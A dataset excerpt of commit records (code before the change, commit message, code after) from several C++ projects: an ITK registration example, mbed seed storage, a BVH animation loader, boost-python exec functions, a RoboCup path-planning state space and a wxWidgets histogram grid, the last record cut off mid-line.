text
stringlengths
54
60.6k
<commit_before>//------------------------------------------- // // Example of the registration hierarchy // //------------------------------------------- #include <itkVectorContainer.h> #include <itkRegistrationTransform.h> #include <itkLBFGSOptimizer.h> #include <itkAffineTransform.h> #include <itkProcrustesRegistrationMetric.h> int main() { const unsigned int Dimension = 3; typedef itk::VectorContainer< unsigned short, double > ParameterType; typedef vnl_vector< double > MeasureType; typedef vnl_matrix< double > DerivativeType; typedef itk::AffineTransform< Dimension > TransformationType; typedef itk::ProcrustesRegistrationMetric< TransformationType, Dimension > MetricType; typedef MetricType::TargetType TargetType; typedef MetricType::ReferenceType ReferenceType; typedef itk::LBFGSOptimizer< MetricType > OptimizerType; typedef itk::RegistrationTransform< MetricType, OptimizerType > RegistrationType; TargetType::Pointer target = TargetType::New(); ReferenceType::Pointer reference = ReferenceType::New(); TransformationType::Pointer transformation = TransformationType::New(); RegistrationType::Pointer registration = RegistrationType::New(); registration->SetTarget( target ); registration->SetReference( reference ); registration->SetTransformation( transformation ); registration->StartRegistration(); return 0; } <commit_msg>ERR: AffineTransorm -> AffineRegistrationTransform.<commit_after>//------------------------------------------- // // Example of the registration hierarchy // //------------------------------------------- #include <itkVectorContainer.h> #include <itkRegistrationTransform.h> #include <itkLBFGSOptimizer.h> #include <itkAffineRegistrationTransform.h> #include <itkProcrustesRegistrationMetric.h> int main() { const unsigned int Dimension = 3; typedef itk::VectorContainer< unsigned short, double > ParameterType; typedef vnl_vector< double > MeasureType; typedef vnl_matrix< double > DerivativeType; typedef itk::AffineRegistrationTransform< Dimension > TransformationType; typedef itk::ProcrustesRegistrationMetric< TransformationType, Dimension > MetricType; typedef MetricType::TargetType TargetType; typedef MetricType::ReferenceType ReferenceType; typedef itk::LBFGSOptimizer< MetricType > OptimizerType; typedef itk::RegistrationTransform< MetricType, OptimizerType > RegistrationType; TargetType::Pointer target = TargetType::New(); ReferenceType::Pointer reference = ReferenceType::New(); TransformationType::Pointer transformation = TransformationType::New(); RegistrationType::Pointer registration = RegistrationType::New(); registration->SetTarget( target ); registration->SetReference( reference ); registration->SetTransformation( transformation ); registration->StartRegistration(); return 0; } <|endoftext|>
<commit_before>#include "mbed.h" #include "crypto.h" #include "default_random_seed.h" #include "psa_prot_internal_storage.h" int mbed_default_seed_read(unsigned char *buf, size_t buf_len) { psa_its_status_t rc = psa_its_get(PSA_CRYPTO_ITS_RANDOM_SEED_UID, 0, buf_len, buf); return ( -1 * rc ); } int mbed_default_seed_write(unsigned char *buf, size_t buf_len) { psa_its_status_t rc = psa_its_set(PSA_CRYPTO_ITS_RANDOM_SEED_UID, buf_len, buf, 0); return ( -1 * rc ); } <commit_msg>add comment to explain why (-1 * rc) is returned<commit_after>#include "mbed.h" #include "crypto.h" #include "default_random_seed.h" #include "psa_prot_internal_storage.h" int mbed_default_seed_read(unsigned char *buf, size_t buf_len) { /* Make sure that in case of an error the value will be negative * return (-1 * rc); * Mbed TLS errors are negative values */ psa_its_status_t rc = psa_its_get(PSA_CRYPTO_ITS_RANDOM_SEED_UID, 0, buf_len, buf); return ( -1 * rc ); } int mbed_default_seed_write(unsigned char *buf, size_t buf_len) { psa_its_status_t rc = psa_its_set(PSA_CRYPTO_ITS_RANDOM_SEED_UID, buf_len, buf, 0); /* Make sure that in case of an error the value will be negative * return (-1 * rc); * Mbed TLS errors are negative values */ return ( -1 * rc ); } <|endoftext|>
<commit_before>#include <fstream> #include <boost/lexical_cast.hpp> #include <boost/filesystem.hpp> #include <possumwood_sdk/node_implementation.h> #include <possumwood_sdk/datatypes/filename.h> #include <actions/io.h> #include <ImathMatrixAlgo.h> #include "datatypes/animation.h" #include "tokenizer.h" namespace { class BvhTokenizer : public anim::Tokenizer { private: anim::Tokenizer::State start; public: BvhTokenizer(std::istream& in) : anim::Tokenizer(in), start(this) { start = [this](char c) { // don't read any space-like characters, but each is considered an end of a token if(std::isspace(c)) { emit(); reject(); } // { and } are tokens on their own else if((c == '{') || (c == '}')) { emit(); accept(c); emit(); } // anything else is part of a token else accept(c); }; // set start as the active state start.setActive(); // read the first keyword into current next(); } protected: private: }; struct Joint { std::string name; Imath::V3f offset; int parent; std::vector<std::string> channels; unsigned targetId; }; Imath::V3f readOffset(anim::Tokenizer& tokenizer) { // has to be written on separate lines to prevent the compiler from reordering the next() calls const float x = boost::lexical_cast<float>(tokenizer.next().value); const float y = boost::lexical_cast<float>(tokenizer.next().value); const float z = boost::lexical_cast<float>(tokenizer.next().value); tokenizer.next(); return Imath::V3f(x, y, z); } std::vector<std::string> readChannels(anim::Tokenizer& tokenizer) { std::vector<std::string> result; unsigned count = boost::lexical_cast<unsigned>(tokenizer.next().value); for(unsigned a=0;a<count;++a) result.push_back(tokenizer.next().value); tokenizer.next(); return result; } void readJointData(anim::Tokenizer& tokenizer, std::vector<Joint>& joints, int parent, const std::string& namePrefix = "") { const int current = joints.size(); joints.push_back(Joint()); joints.back().parent = parent; joints.back().name = namePrefix; // the name might be multiple words, but all on the same line const unsigned lineNo = tokenizer.current().line; while(tokenizer.current().line == lineNo && tokenizer.current().value != "{") { if(!joints.back().name.empty()) joints.back().name += ' '; joints.back().name += tokenizer.current().value; tokenizer.next(); } if(tokenizer.current().value != "{") throw std::runtime_error("joint " + joints.back().name + " should start with an opening bracket!"); tokenizer.next(); while(1) { if(tokenizer.current().value == "OFFSET") joints.back().offset = readOffset(tokenizer); else if(tokenizer.current().value == "CHANNELS") joints.back().channels = readChannels(tokenizer); else if(tokenizer.current().value == "JOINT") { tokenizer.next(); readJointData(tokenizer, joints, current); } else if(tokenizer.current().value == "End") { if(tokenizer.next().value != "Site") throw std::runtime_error("End without Site found (" + tokenizer.current().value + " instead)"); tokenizer.next(); readJointData(tokenizer, joints, current, joints.back().name + " End"); } else if(tokenizer.current().value == "}") break; else throw std::runtime_error("unknown joint tag " + tokenizer.current().value); } tokenizer.next(); } void readHierarchy(anim::Tokenizer& tokenizer, std::vector<Joint>& joints) { if(tokenizer.next().value != "ROOT") throw std::runtime_error("HIERARCHY should start with ROOT, not with " + tokenizer.current().value); tokenizer.next(); readJointData(tokenizer, joints, -1); } anim::Transform makeTransform(float val, const std::string& key) { if(key == "Xposition") return anim::Transform(Imath::V3f(val, 0, 0)); else if(key == "Yposition") return anim::Transform(Imath::V3f(0, val, 0)); else if(key == "Zposition") return anim::Transform(Imath::V3f(0, 0, val)); else if(key == "Xrotation") { Imath::Quatf q; q.setAxisAngle(Imath::V3f(1,0,0), val / 180.0f * M_PI); return anim::Transform(q); } else if(key == "Yrotation") { Imath::Quatf q; q.setAxisAngle(Imath::V3f(0,1,0), val / 180.0f * M_PI); return anim::Transform(q); } else if(key == "Zrotation") { Imath::Quatf q; q.setAxisAngle(Imath::V3f(0,0,1), val / 180.0f * M_PI); return anim::Transform(q); } else throw std::runtime_error("unknown channel type " + key); } void readMotion(anim::Tokenizer& tokenizer, anim::Animation& anim, const std::vector<Joint>& joints, const anim::Skeleton& skeleton) { assert(skeleton.size() == joints.size()); // number of frames if(tokenizer.next().value != "Frames:") throw std::runtime_error("MOTION section should start with Frames: keyword, " + tokenizer.current().value + " found instead."); const unsigned frameCount = boost::lexical_cast<unsigned>(tokenizer.next().value); // frame time if(tokenizer.next().value != "Frame") throw std::runtime_error("MOTION section should contain with Frame Time: keyword, " + tokenizer.current().value + " found instead."); if(tokenizer.next().value != "Time:") throw std::runtime_error("MOTION section should contain with Frame Time: keyword, " + tokenizer.current().value + " found instead."); anim.setFps(1.0f / boost::lexical_cast<float>(tokenizer.next().value)); // read the frame data for(unsigned f=0;f<frameCount;++f) { // make a new frame anim::Skeleton frame = skeleton; // reset it to identity for(auto& j : frame) j.tr() = anim::Transform(); // and process all joints unsigned ji = 0; for(auto& joint : joints) { anim::Transform tr; for(auto& ch : joint.channels) tr *= makeTransform(boost::lexical_cast<float>(tokenizer.next().value), ch); const unsigned targetId = joints[ji].targetId; frame[targetId].tr() = skeleton[targetId].tr() * tr; ++ji; } // and add it to the animation anim.addFrame(frame); } tokenizer.next(); } anim::Skeleton convertHierarchy(std::vector<Joint>& joints) { anim::Skeleton result; if(!joints.empty()) { result.addRoot(joints[0].name, joints[0].offset); for(unsigned a=1;a<joints.size();++a) { // find the parent int p = -1; for(unsigned x=0;x<result.size();++x) if(result[x].name() == joints[joints[a].parent].name) p = x; assert(p >= 0); result.addChild(result[p], joints[a].offset, joints[a].name); } // and set the target IDs for each joint, assuming unique naming for(unsigned a=0;a<joints.size();++a) for(unsigned b=0;b<result.size();++b) if(joints[a].name == result[b].name()) joints[a].targetId = b; } return result; } ///// dependency_graph::InAttr<possumwood::Filename> a_filename; dependency_graph::OutAttr<anim::Skeleton> a_skel; dependency_graph::OutAttr<anim::Animation> a_anim; dependency_graph::State compute(dependency_graph::Values& data) { dependency_graph::State out; const possumwood::Filename filename = data.get(a_filename); if(!filename.filename().empty() && boost::filesystem::exists(filename.filename())) { std::ifstream in(filename.filename().string()); std::vector<Joint> joints; anim::Animation result; anim::Skeleton skeleton; BvhTokenizer tokenizer(in); while(!tokenizer.eof()) { if(tokenizer.current().value == "HIERARCHY") { readHierarchy(tokenizer, joints); skeleton = convertHierarchy(joints); } else if(tokenizer.current().value == "MOTION") readMotion(tokenizer, result, joints, skeleton); else throw std::runtime_error("unknown keyword " + tokenizer.current().value); } data.set(a_skel, skeleton); data.set(a_anim, anim::Animation(result)); } else { data.set(a_anim, anim::Animation()); out.addError("Cannot load filename " + filename.filename().string()); } return out; } void init(possumwood::Metadata& meta) { meta.addAttribute(a_filename, "filename", possumwood::Filename({ "BVH files (*.bvh)", })); meta.addAttribute(a_skel, "skeleton", anim::Skeleton(), possumwood::AttrFlags::kVertical); meta.addAttribute(a_anim, "anim", anim::Animation(), possumwood::AttrFlags::kVertical); meta.addInfluence(a_filename, a_anim); meta.addInfluence(a_filename, a_skel); meta.setCompute(compute); } possumwood::NodeImplementation s_impl("anim/loaders/bvh", init); } <commit_msg>Fixed loading of BVH files - now correctly interprets files that contain both rotation-only and translation-rotation frame data<commit_after>#include <fstream> #include <boost/lexical_cast.hpp> #include <boost/filesystem.hpp> #include <possumwood_sdk/node_implementation.h> #include <possumwood_sdk/datatypes/filename.h> #include <actions/io.h> #include <ImathMatrixAlgo.h> #include "datatypes/animation.h" #include "tokenizer.h" namespace { class BvhTokenizer : public anim::Tokenizer { private: anim::Tokenizer::State start; public: BvhTokenizer(std::istream& in) : anim::Tokenizer(in), start(this) { start = [this](char c) { // don't read any space-like characters, but each is considered an end of a token if(std::isspace(c)) { emit(); reject(); } // { and } are tokens on their own else if((c == '{') || (c == '}')) { emit(); accept(c); emit(); } // anything else is part of a token else accept(c); }; // set start as the active state start.setActive(); // read the first keyword into current next(); } protected: private: }; enum Channel { kUnknown = 0, kXposition = 1, kYposition = 2, kZposition = 4, kXrotation = 8, kYrotation = 16, kZrotation = 32 }; class Channels { public: Channels() : m_total(0) { } typedef std::vector<Channel>::const_iterator const_iterator; const_iterator begin() const { return m_channels.begin(); } const_iterator end() const { return m_channels.end(); } void add(Channel c) { m_channels.push_back(c); m_total |= static_cast<unsigned>(c); } bool contains(Channel c) const { return static_cast<unsigned>(m_total) & static_cast<unsigned>(c); } private: std::vector<Channel> m_channels; unsigned m_total; }; Channel strToChannel(const std::string& str) { if(str == "Xposition") return kXposition; else if(str == "Yposition") return kYposition; else if(str == "Zposition") return kZposition; else if(str == "Xrotation") return kXrotation; else if(str == "Yrotation") return kYrotation; else if(str == "Zrotation") return kZrotation; return kUnknown; } struct Joint { std::string name; Imath::V3f offset; int parent; Channels channels; unsigned targetId; }; Imath::V3f readOffset(anim::Tokenizer& tokenizer) { // has to be written on separate lines to prevent the compiler from reordering the next() calls const float x = boost::lexical_cast<float>(tokenizer.next().value); const float y = boost::lexical_cast<float>(tokenizer.next().value); const float z = boost::lexical_cast<float>(tokenizer.next().value); tokenizer.next(); return Imath::V3f(x, y, z); } Channels readChannels(anim::Tokenizer& tokenizer) { Channels result; unsigned count = boost::lexical_cast<unsigned>(tokenizer.next().value); for(unsigned a=0;a<count;++a) { const std::string str = tokenizer.next().value; Channel tmp = strToChannel(str); if(tmp == kUnknown) throw std::runtime_error("Unrecognized channel '" + str + "'"); result.add(tmp); } tokenizer.next(); return result; } void readJointData(anim::Tokenizer& tokenizer, std::vector<Joint>& joints, int parent, const std::string& namePrefix = "") { const int current = joints.size(); joints.push_back(Joint()); joints.back().parent = parent; joints.back().name = namePrefix; // the name might be multiple words, but all on the same line const unsigned lineNo = tokenizer.current().line; while(tokenizer.current().line == lineNo && tokenizer.current().value != "{") { if(!joints.back().name.empty()) joints.back().name += ' '; joints.back().name += tokenizer.current().value; tokenizer.next(); } if(tokenizer.current().value != "{") throw std::runtime_error("joint " + joints.back().name + " should start with an opening bracket!"); tokenizer.next(); while(1) { if(tokenizer.current().value == "OFFSET") joints.back().offset = readOffset(tokenizer); else if(tokenizer.current().value == "CHANNELS") joints.back().channels = readChannels(tokenizer); else if(tokenizer.current().value == "JOINT") { tokenizer.next(); readJointData(tokenizer, joints, current); } else if(tokenizer.current().value == "End") { if(tokenizer.next().value != "Site") throw std::runtime_error("End without Site found (" + tokenizer.current().value + " instead)"); tokenizer.next(); readJointData(tokenizer, joints, current, joints.back().name + " End"); } else if(tokenizer.current().value == "}") break; else throw std::runtime_error("unknown joint tag " + tokenizer.current().value); } tokenizer.next(); } void readHierarchy(anim::Tokenizer& tokenizer, std::vector<Joint>& joints) { if(tokenizer.next().value != "ROOT") throw std::runtime_error("HIERARCHY should start with ROOT, not with " + tokenizer.current().value); tokenizer.next(); readJointData(tokenizer, joints, -1); } anim::Transform makeTransform(float val, Channel c) { Imath::Quatf q; switch(c) { case kXposition: return anim::Transform(Imath::V3f(val, 0, 0)); case kYposition: return anim::Transform(Imath::V3f(0, val, 0)); case kZposition: return anim::Transform(Imath::V3f(0, 0, val)); case kXrotation: q.setAxisAngle(Imath::V3f(1,0,0), val / 180.0f * M_PI); return anim::Transform(q); case kYrotation: q.setAxisAngle(Imath::V3f(0,1,0), val / 180.0f * M_PI); return anim::Transform(q); case kZrotation: q.setAxisAngle(Imath::V3f(0,0,1), val / 180.0f * M_PI); return anim::Transform(q); default: throw std::runtime_error("unknown channel type"); } } void readMotion(anim::Tokenizer& tokenizer, anim::Animation& anim, const std::vector<Joint>& joints, const anim::Skeleton& skeleton) { assert(skeleton.size() == joints.size()); // number of frames if(tokenizer.next().value != "Frames:") throw std::runtime_error("MOTION section should start with Frames: keyword, " + tokenizer.current().value + " found instead."); const unsigned frameCount = boost::lexical_cast<unsigned>(tokenizer.next().value); // frame time if(tokenizer.next().value != "Frame") throw std::runtime_error("MOTION section should contain with Frame Time: keyword, " + tokenizer.current().value + " found instead."); if(tokenizer.next().value != "Time:") throw std::runtime_error("MOTION section should contain with Frame Time: keyword, " + tokenizer.current().value + " found instead."); anim.setFps(1.0f / boost::lexical_cast<float>(tokenizer.next().value)); // read the frame data for(unsigned f=0;f<frameCount;++f) { // make a new frame anim::Skeleton frame = skeleton; // reset it to identity for(auto& j : frame) j.tr() = anim::Transform(); // and process all joints unsigned ji = 0; for(auto& joint : joints) { anim::Transform tr; for(auto& ch : joint.channels) tr *= makeTransform(boost::lexical_cast<float>(tokenizer.next().value), ch); const unsigned targetId = joints[ji].targetId; // use translation if set explicitly, otherwise use base if(joint.channels.contains(kXposition) || joint.channels.contains(kYposition) || joint.channels.contains(kZposition)) frame[targetId].tr() = tr; else frame[targetId].tr() = skeleton[targetId].tr() * tr; ++ji; } // and add it to the animation anim.addFrame(frame); } tokenizer.next(); } anim::Skeleton convertHierarchy(std::vector<Joint>& joints) { anim::Skeleton result; if(!joints.empty()) { result.addRoot(joints[0].name, joints[0].offset); for(unsigned a=1;a<joints.size();++a) { // find the parent int p = -1; for(unsigned x=0;x<result.size();++x) if(result[x].name() == joints[joints[a].parent].name) p = x; assert(p >= 0); result.addChild(result[p], joints[a].offset, joints[a].name); } // and set the target IDs for each joint, assuming unique naming for(unsigned a=0;a<joints.size();++a) for(unsigned b=0;b<result.size();++b) if(joints[a].name == result[b].name()) joints[a].targetId = b; } return result; } ///// dependency_graph::InAttr<possumwood::Filename> a_filename; dependency_graph::OutAttr<anim::Skeleton> a_skel; dependency_graph::OutAttr<anim::Animation> a_anim; dependency_graph::State compute(dependency_graph::Values& data) { dependency_graph::State out; const possumwood::Filename filename = data.get(a_filename); if(!filename.filename().empty() && boost::filesystem::exists(filename.filename())) { std::ifstream in(filename.filename().string()); std::vector<Joint> joints; anim::Animation result; anim::Skeleton skeleton; BvhTokenizer tokenizer(in); while(!tokenizer.eof()) { if(tokenizer.current().value == "HIERARCHY") { readHierarchy(tokenizer, joints); skeleton = convertHierarchy(joints); } else if(tokenizer.current().value == "MOTION") readMotion(tokenizer, result, joints, skeleton); else throw std::runtime_error("unknown keyword " + tokenizer.current().value); } data.set(a_skel, skeleton); data.set(a_anim, anim::Animation(result)); } else { data.set(a_anim, anim::Animation()); out.addError("Cannot load filename " + filename.filename().string()); } return out; } void init(possumwood::Metadata& meta) { meta.addAttribute(a_filename, "filename", possumwood::Filename({ "BVH files (*.bvh)", })); meta.addAttribute(a_skel, "skeleton", anim::Skeleton(), possumwood::AttrFlags::kVertical); meta.addAttribute(a_anim, "anim", anim::Animation(), possumwood::AttrFlags::kVertical); meta.addInfluence(a_filename, a_anim); meta.addInfluence(a_filename, a_skel); meta.setCompute(compute); } possumwood::NodeImplementation s_impl("anim/loaders/bvh", init); } <|endoftext|>
<commit_before>// Copyright Stefan Seefeld 2005. // Distributed under the Boost Software License, Version 1.0. (See // accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #include <boost/python/exec.hpp> #include <boost/python/borrowed.hpp> #include <boost/python/dict.hpp> #include <boost/python/extract.hpp> #include <boost/python/handle.hpp> namespace boost { namespace python { object BOOST_PYTHON_DECL eval(str string, object global, object local) { // Set suitable default values for global and local dicts. if (global.is_none()) { if (PyObject *g = PyEval_GetGlobals()) global = object(detail::borrowed_reference(g)); else global = dict(); } if (local.is_none()) local = global; // should be 'char const *' but older python versions don't use 'const' yet. char *s = python::extract<char *>(string); PyObject* result = PyRun_String(s, Py_eval_input, global.ptr(), local.ptr()); if (!result) throw_error_already_set(); return object(detail::new_reference(result)); } object BOOST_PYTHON_DECL exec(str string, object global, object local) { // Set suitable default values for global and local dicts. if (global.is_none()) { if (PyObject *g = PyEval_GetGlobals()) global = object(detail::borrowed_reference(g)); else global = dict(); } if (local.is_none()) local = global; // should be 'char const *' but older python versions don't use 'const' yet. char *s = python::extract<char *>(string); PyObject* result = PyRun_String(s, Py_file_input, global.ptr(), local.ptr()); if (!result) throw_error_already_set(); return object(detail::new_reference(result)); } object BOOST_PYTHON_DECL exec_statement(str string, object global, object local) { // Set suitable default values for global and local dicts. if (global.is_none()) { if (PyObject *g = PyEval_GetGlobals()) global = object(detail::borrowed_reference(g)); else global = dict(); } if (local.is_none()) local = global; // should be 'char const *' but older python versions don't use 'const' yet. char *s = python::extract<char *>(string); PyObject* result = PyRun_String(s, Py_single_input, global.ptr(), local.ptr()); if (!result) throw_error_already_set(); return object(detail::new_reference(result)); } // Execute python source code from file filename. // global and local are the global and local scopes respectively, // used during execution. object BOOST_PYTHON_DECL exec_file(str filename, object global, object local) { // Set suitable default values for global and local dicts. if (global.is_none()) { if (PyObject *g = PyEval_GetGlobals()) global = object(detail::borrowed_reference(g)); else global = dict(); } if (local.is_none()) local = global; // should be 'char const *' but older python versions don't use 'const' yet. char *f = python::extract<char *>(filename); #if PY_VERSION_HEX >= 0x03000000 // TODO(bhy) temporary workaround for Python 3. // should figure out a way to avoid binary incompatibilities as the Python 2 // version did. FILE *fs = fopen(f, "r"); #else // Let python open the file to avoid potential binary incompatibilities. PyObject *pyfile = PyFile_FromString(f, const_cast<char*>("r")); if (!pyfile) throw std::invalid_argument(std::string(f) + " : no such file"); python::handle<> file(pyfile); FILE *fs = PyFile_AsFile(file.get()); #endif PyObject* result = PyRun_File(fs, f, Py_file_input, global.ptr(), local.ptr()); if (!result) throw_error_already_set(); return object(detail::new_reference(result)); } } // namespace boost::python } // namespace boost <commit_msg>fix boost-python with python3 (binary incompatibility in fopen)<commit_after>// Copyright Stefan Seefeld 2005. // Distributed under the Boost Software License, Version 1.0. (See // accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #include <boost/python/exec.hpp> #include <boost/python/borrowed.hpp> #include <boost/python/dict.hpp> #include <boost/python/extract.hpp> #include <boost/python/handle.hpp> namespace boost { namespace python { object BOOST_PYTHON_DECL eval(str string, object global, object local) { // Set suitable default values for global and local dicts. if (global.is_none()) { if (PyObject *g = PyEval_GetGlobals()) global = object(detail::borrowed_reference(g)); else global = dict(); } if (local.is_none()) local = global; // should be 'char const *' but older python versions don't use 'const' yet. char *s = python::extract<char *>(string); PyObject* result = PyRun_String(s, Py_eval_input, global.ptr(), local.ptr()); if (!result) throw_error_already_set(); return object(detail::new_reference(result)); } object BOOST_PYTHON_DECL exec(str string, object global, object local) { // Set suitable default values for global and local dicts. if (global.is_none()) { if (PyObject *g = PyEval_GetGlobals()) global = object(detail::borrowed_reference(g)); else global = dict(); } if (local.is_none()) local = global; // should be 'char const *' but older python versions don't use 'const' yet. char *s = python::extract<char *>(string); PyObject* result = PyRun_String(s, Py_file_input, global.ptr(), local.ptr()); if (!result) throw_error_already_set(); return object(detail::new_reference(result)); } object BOOST_PYTHON_DECL exec_statement(str string, object global, object local) { // Set suitable default values for global and local dicts. if (global.is_none()) { if (PyObject *g = PyEval_GetGlobals()) global = object(detail::borrowed_reference(g)); else global = dict(); } if (local.is_none()) local = global; // should be 'char const *' but older python versions don't use 'const' yet. char *s = python::extract<char *>(string); PyObject* result = PyRun_String(s, Py_single_input, global.ptr(), local.ptr()); if (!result) throw_error_already_set(); return object(detail::new_reference(result)); } // Execute python source code from file filename. // global and local are the global and local scopes respectively, // used during execution. object BOOST_PYTHON_DECL exec_file(str filename, object global, object local) { // Set suitable default values for global and local dicts. if (global.is_none()) { if (PyObject *g = PyEval_GetGlobals()) global = object(detail::borrowed_reference(g)); else global = dict(); } if (local.is_none()) local = global; // should be 'char const *' but older python versions don't use 'const' yet. char *f = python::extract<char *>(filename); #if PY_VERSION_HEX >= 0x03000000 // TODO(bhy) temporary workaround for Python 3. // should figure out a way to avoid binary incompatibilities as the Python 2 // version did. //FILE *fs = fopen(f, "r"); FILE *fs = _Py_fopen(filename.ptr(), "r"); if (!fs) throw std::invalid_argument(std::string(f) + " : no such file"); #else // Let python open the file to avoid potential binary incompatibilities. PyObject *pyfile = PyFile_FromString(f, const_cast<char*>("r")); if (!pyfile) throw std::invalid_argument(std::string(f) + " : no such file"); python::handle<> file(pyfile); FILE *fs = PyFile_AsFile(file.get()); #endif PyObject* result = PyRun_File(fs, f, Py_file_input, global.ptr(), local.ptr()); if (!result) throw_error_already_set(); return object(detail::new_reference(result)); } } // namespace boost::python } // namespace boost <|endoftext|>
<commit_before>#pragma once #include <Geometry2d/Point.hpp> #include <rrt/2dplane/PlaneStateSpace.hpp> namespace Planning { /** * Represents the robocup field for path-planning purposes. */ class RoboCupStateSpace : public RRT::StateSpace<Geometry2d::Point> { public: RoboCupStateSpace(const Field_Dimensions& dims, const Geometry2d::ShapeSet& obstacles) : _fieldDimensions(dims), _obstacles(obstacles) {} Geometry2d::Point randomState() const { float x = _fieldDimensions.FloorWidth() * (drand48() - 0.5f); float y = _fieldDimensions.FloorLength() * drand48() - _fieldDimensions.Border(); return Geometry2d::Point(x, y); } double distance(const Geometry2d::Point& from, const Geometry2d::Point& to) const { return from.distTo(to); } bool stateValid(const Geometry2d::Point& state) const { // note: _obstacles contains obstacles that define the limits of the // field, so we shouldn't have to check separately that the point is // within the field boundaries. return !_obstacles.hit(state); } Geometry2d::Point intermediateState(const Geometry2d::Point& source, const Geometry2d::Point& target, float stepSize) const { auto dir = (target - source).norm(); return source + dir * stepSize; } Geometry2d::Point intermediateState(const Geometry2d::Point& source, const Geometry2d::Point& target, float minStepSize, float maxStepSize) const { throw std::runtime_error("Adaptive stepsize control not implemented"); } bool transitionValid(const Geometry2d::Point& from, const Geometry2d::Point& to) const { // TODO: what if it starts out in an obstacle? if (_obstacles.hit(Geometry2d::Segment(from, to))) return false; return true; } private: const Geometry2d::ShapeSet& _obstacles; const Field_Dimensions _fieldDimensions; }; } // namespace Planning <commit_msg>rrt: allow robot to start inside an obstacle<commit_after>#pragma once #include <Geometry2d/Point.hpp> #include <rrt/2dplane/PlaneStateSpace.hpp> namespace Planning { /** * Represents the robocup field for path-planning purposes. */ class RoboCupStateSpace : public RRT::StateSpace<Geometry2d::Point> { public: RoboCupStateSpace(const Field_Dimensions& dims, const Geometry2d::ShapeSet& obstacles) : _fieldDimensions(dims), _obstacles(obstacles) {} Geometry2d::Point randomState() const { float x = _fieldDimensions.FloorWidth() * (drand48() - 0.5f); float y = _fieldDimensions.FloorLength() * drand48() - _fieldDimensions.Border(); return Geometry2d::Point(x, y); } double distance(const Geometry2d::Point& from, const Geometry2d::Point& to) const { return from.distTo(to); } bool stateValid(const Geometry2d::Point& state) const { // note: _obstacles contains obstacles that define the limits of the // field, so we shouldn't have to check separately that the point is // within the field boundaries. return !_obstacles.hit(state); } Geometry2d::Point intermediateState(const Geometry2d::Point& source, const Geometry2d::Point& target, float stepSize) const { auto dir = (target - source).norm(); return source + dir * stepSize; } Geometry2d::Point intermediateState(const Geometry2d::Point& source, const Geometry2d::Point& target, float minStepSize, float maxStepSize) const { throw std::runtime_error("Adaptive stepsize control not implemented"); } bool transitionValid(const Geometry2d::Point& from, const Geometry2d::Point& to) const { // Ensure that @to doesn't hit any obstacles that @from doesn't. This // allows the RRT to start inside an obstacle, but prevents it from // entering a new obstacle. for (const auto& shape : _obstacles.shapes()) { if (shape->hit(Segment(from, to)) && !shape->hit(from)) return false; } return true; } private: const Geometry2d::ShapeSet& _obstacles; const Field_Dimensions _fieldDimensions; }; } // namespace Planning <|endoftext|>
<commit_before>///////////////////////////////////////////////////////////////////////////// // Name: ghistogram.cpp // Purpose: // Author: Eloy Martinez // Modified by: // Created: Mon 23 Jun 2008 11:40:03 CEST // RCS-ID: // Copyright: // Licence: ///////////////////////////////////////////////////////////////////////////// // For compilers that support precompilation, includes "wx/wx.h". #include "wx/wxprec.h" #ifdef __BORLANDC__ #pragma hdrstop #endif #ifndef WX_PRECOMP #include "wx/wx.h" #endif ////@begin includes ////@end includes #include <sstream> #include "ghistogram.h" #include "histogram.h" ////@begin XPM images ////@end XPM images /*! * gHistogram type definition */ IMPLEMENT_CLASS( gHistogram, wxFrame ) /*! * gHistogram event table definition */ BEGIN_EVENT_TABLE( gHistogram, wxFrame ) ////@begin gHistogram event table entries ////@end gHistogram event table entries END_EVENT_TABLE() /*! * gHistogram constructors */ gHistogram::gHistogram() { Init(); } gHistogram::gHistogram( wxWindow* parent, wxWindowID id, const wxString& caption, const wxPoint& pos, const wxSize& size, long style ) { Init(); Create( parent, id, caption, pos, size, style ); } /*! * gHistogram creator */ bool gHistogram::Create( wxWindow* parent, wxWindowID id, const wxString& caption, const wxPoint& pos, const wxSize& size, long style ) { ////@begin gHistogram creation wxFrame::Create( parent, id, caption, pos, size, style ); CreateControls(); ////@end gHistogram creation return true; } /*! * gHistogram destructor */ gHistogram::~gHistogram() { ////@begin gHistogram destruction ////@end gHistogram destruction } /*! * Member initialisation */ void gHistogram::Init() { ////@begin gHistogram member initialisation myHistogram = NULL; gridHisto = NULL; ////@end gHistogram member initialisation } /*! * Control creation for gHistogram */ void gHistogram::CreateControls() { ////@begin gHistogram content construction gHistogram* itemFrame1 = this; gridHisto = new wxGrid( itemFrame1, ID_GRIDHISTO, wxDefaultPosition, itemFrame1->ConvertDialogToPixels(wxSize(200, 150)), wxHSCROLL|wxVSCROLL|wxALWAYS_SHOW_SB ); gridHisto->SetDefaultColSize(50); gridHisto->SetDefaultRowSize(25); gridHisto->SetColLabelSize(25); gridHisto->SetRowLabelSize(50); gridHisto->CreateGrid(5, 5, wxGrid::wxGridSelectCells); ////@end gHistogram content construction } void gHistogram::execute() { if( myHistogram == NULL ) return; myHistogram->execute( myHistogram->getBeginTime(), myHistogram->getEndTime() ); fillGrid(); } void gHistogram::fillGrid() { int rowLabelWidth = 0; wxFont labelFont = gridHisto->GetLabelFont(); bool commStat = myHistogram->itsCommunicationStat( myHistogram->getCurrentStat() ); UINT16 idStat; if( !myHistogram->getIdStat( myHistogram->getCurrentStat(), idStat ) ) throw( exception() ); THistogramColumn curPlane; if( commStat ) curPlane = myHistogram->getCommSelectedPlane(); else curPlane = myHistogram->getSelectedPlane(); gridHisto->BeginBatch(); gridHisto->DeleteCols( 0, gridHisto->GetNumberCols() ); gridHisto->DeleteRows( 0, gridHisto->GetNumberRows() ); gridHisto->AppendCols( myHistogram->getNumColumns() ); gridHisto->AppendRows( myHistogram->getNumRows() ); for( THistogramColumn iCol = 0; iCol < myHistogram->getNumColumns(); iCol++ ) { if( commStat ) { gridHisto->SetColLabelValue( iCol, myHistogram->getRowLabel( iCol ) ); myHistogram->setCommFirstCell( iCol, curPlane ); } else { gridHisto->SetColLabelValue( iCol, myHistogram->getColumnLabel( iCol ) ); myHistogram->setFirstCell( iCol, curPlane ); } for( TObjectOrder iRow = 0; iRow < myHistogram->getNumRows(); iRow++ ) { int w, h; gridHisto->GetTextExtent( myHistogram->getRowLabel( iCol ), &w, &h, NULL, NULL, &labelFont ); if( rowLabelWidth == 0 || rowLabelWidth < w ) rowLabelWidth = w; gridHisto->SetRowLabelValue( iRow, myHistogram->getRowLabel( iRow ) ); if( commStat && myHistogram->endCommCell( iCol, curPlane 